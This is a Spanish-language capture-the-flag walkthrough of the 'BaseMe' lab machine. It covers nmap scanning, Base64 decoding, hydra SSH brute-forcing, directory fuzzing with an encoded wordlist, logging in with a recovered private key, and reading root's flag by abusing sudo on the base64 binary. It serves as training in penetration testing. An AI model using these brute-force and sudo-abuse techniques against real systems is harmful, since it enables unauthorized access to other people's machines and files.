BaseMe
Hoy vamos a realizar una máquina donde toda la temática gira en Base64, bastante curiosa la verdad.
Reconocimiento de Puertos
En primer lugar averiguamos la IP de la máquina víctima:
❯ sudo arp-scan -l | grep "PCS"
192.168.0.21 08:00:27:b8:3e:80 PCS Systemtechnik GmbH
Ahora definimos la IP en una variable para trabajar con ella más cómodos y realizamos el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ export ip=192.168.0.21
❯ ./nmapauto.sh $ip
[*] Reconocimiento inicial de puertos
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 17:49 CET
Initiating Ping Scan at 17:49
Scanning 192.168.0.21 [2 ports]
Completed Ping Scan at 17:49, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 17:49
Scanning 192.168.0.21 [65535 ports]
Discovered open port 22/tcp on 192.168.0.21
Discovered open port 80/tcp on 192.168.0.21
Completed Connect Scan at 17:49, 3.75s elapsed (65535 total ports)
Nmap scan report for 192.168.0.21
Host is up (0.00049s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.83 seconds
[*] Escaneo avanzado de servicios
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-29 17:49 CET
Nmap scan report for 192.168.0.21
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
| 256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
|_ 256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Revisamos lo que nos muestra el puerto 80:
❯ curl $ip
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK
<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->
Parece que es una cadena en Base64, vamos a ver qué dice:
❯ echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas
Pues ahí tenemos la primera pista. Parece que el usuario es Lucas y la contraseña podría ser una de las cadenas comentadas del mismo index. Vamos a codificarlas en Base64 con un pequeño script que creamos nano base64.sh
y le damos permisos de ejecución chmod +x base64.sh
:
#!/bin/bash
while IFS= read -r linea
do
echo $linea | base64 >> $2
done < $1
Con esto lo que conseguimos es que llamando al script nos codificará el fichero que pongamos como primer argumento y nos lo imprimirá en el segundo.
Creamos un fichero llamado “pass.txt” con el contenido a codificar y usamos la herramienta:
❯ ./base64.sh pass.txt passencode.txt
❯ cat passencode.txt
aWxvdmV5b3UK
eW91bG92ZXlvdQo=
c2hlbG92ZXN5b3UK
aGVsb3Zlc3lvdQo=
d2Vsb3ZleW91Cg==
dGhleWhhdGVzbWUK
Con eso codificado, haré fuerza bruta con esas opciones al SSH con el usuario lucas:
❯ hydra -l lucas $ip -P passencode.txt ssh -F
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-30 11:59:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://192.168.0.21:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-30 11:59:38
Fuzzing
No ha habido suerte, voy a realizar fuzzing por si hay algo más escondido:
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php,html,txt -u $ip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.0.21
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
2022/11/30 12:03:30 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 276]
===============================================================
2022/11/30 12:04:48 Finished
===============================================================
Tampoco encontramos nada… En este punto como la pista nos indica que TODO está en base64 se me ocurre codificar el diccionario y probar de nuevo fuzzing, en este caso lo haré con el common que es más pequeño. Como ya tenemos el script creado, solo es usarlo:
❯ ./base64.sh /usr/share/wordlists/dirb/common.txt dict.txt
Con el diccionario codificado, hacemos nuevamente fuzzing, en este caso usaré Dirb:
❯ dirb http://$ip dict.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Nov 30 12:13:26 2022
URL_BASE: http://192.168.0.21/
WORDLIST_FILES: dict.txt
-----------------
GENERATED WORDS: 4614
---- Scanning URL: http://192.168.0.21/ ----
+ http://192.168.0.21/aWRfcnNhCg== (CODE:200|SIZE:2537)
+ http://192.168.0.21/cm9ib3RzLnR4dAo= (CODE:200|SIZE:25)
-----------------
END_TIME: Wed Nov 30 12:13:27 2022
DOWNLOADED: 4614 - FOUND: 2
Bien, hemos encontrado nuevos recursos, vamos a ver su contenido:
❯ curl http://192.168.0.21/aWRfcnNhCg==
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB
ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY
dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK
RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ
NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0
TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP
NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY
d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj
MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz
aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto
VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0
cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK
Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy
UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13
NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz
UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE
eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH
UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX
THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3
SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk
eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK
bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or
aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4
SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3
UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5
bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl
azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No
MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl
YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq
T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U
Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r
NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==
❯ curl http://192.168.0.21/cm9ib3RzLnR4dAo=
Tm90aGluZyBoZXJlIDooCg==
Bien, ya solo es descodificar este tipo de contenidos, por lo que usaremos igual que antes “base64 -d” quedando todo de la siguiente forma:
Nombre del fichero codificado | Nombre del fichero descodificado | Contenido |
---|---|---|
aWRfcnNhCg== | id_rsa | (Clave privada) |
cm9ib3RzLnR4dAo= | robots.txt | Nothing here :( |
Gurdamos la id_rsa en un fichero con ese mismo nombre y le asignamos los permisos adecuados chmod 600 id_rsa
. Ahora nos conectamos por SSH con la misma y con el usuario lucas:
❯ ssh -i id_rsa lucas@$ip
Enter passphrase for key 'id_rsa':
Todavía no podemos acceder, nos pide una contraseña de clave.
Como recordaréis, al principio creamos un fichero llamado “passencode.txt” con los comentarios del index codificados. Volví a probar con esas 6 posibilidades y nada ocurrió. Aquí me atranqué y no entendía el problema.
Finalmente, la solución apareció, era simplemente copiar ese contenido (el de passencode.txt) y pegarlo tal cual (en vez de ir línea por línea).
Así que nos conectamos nuevamente, y cogemos la flag de user:
❯ ssh -i id_rsa lucas@$ip
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 30 07:09:56 2022 from 192.168.0.24
lucas@baseme:~$
lucas@baseme:~$ ls
user.txt
lucas@baseme:~$ cat user.txt
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
* **
,* ,*
** *.
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
(flag)
Escalada de privilegios
Como no podría ser de otra forma, si miramos la lista de permisos que tenemos para usar privilegios de otro usuario…
lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lucas may run the following commands on baseme:
(ALL) NOPASSWD: /usr/bin/base64
¡En efecto, BASE64! Ya tenemos la vía de explotación, y aquí ya toca tirar un “pelín” de experiencia en CTF, ya que como sabemos que la flag va a estar en el directorio de root y se llamará root.txt… La idea es aprovecharse de que tenemos privilegios con el binario “base64” para leer la flag:
lucas@baseme:~$ sudo base64 /root/root.txt | base64 -d
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
* **
,* ,*
** *.
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
(flag)
Con esto hemos terminado la máquina y la tercera de sml. Me ha molado la temática y me ha resultado divertida, excepto la parte de la passphrase, la cual se me atragantó bastante 🤦♂️. Nos vemos en la siguiente.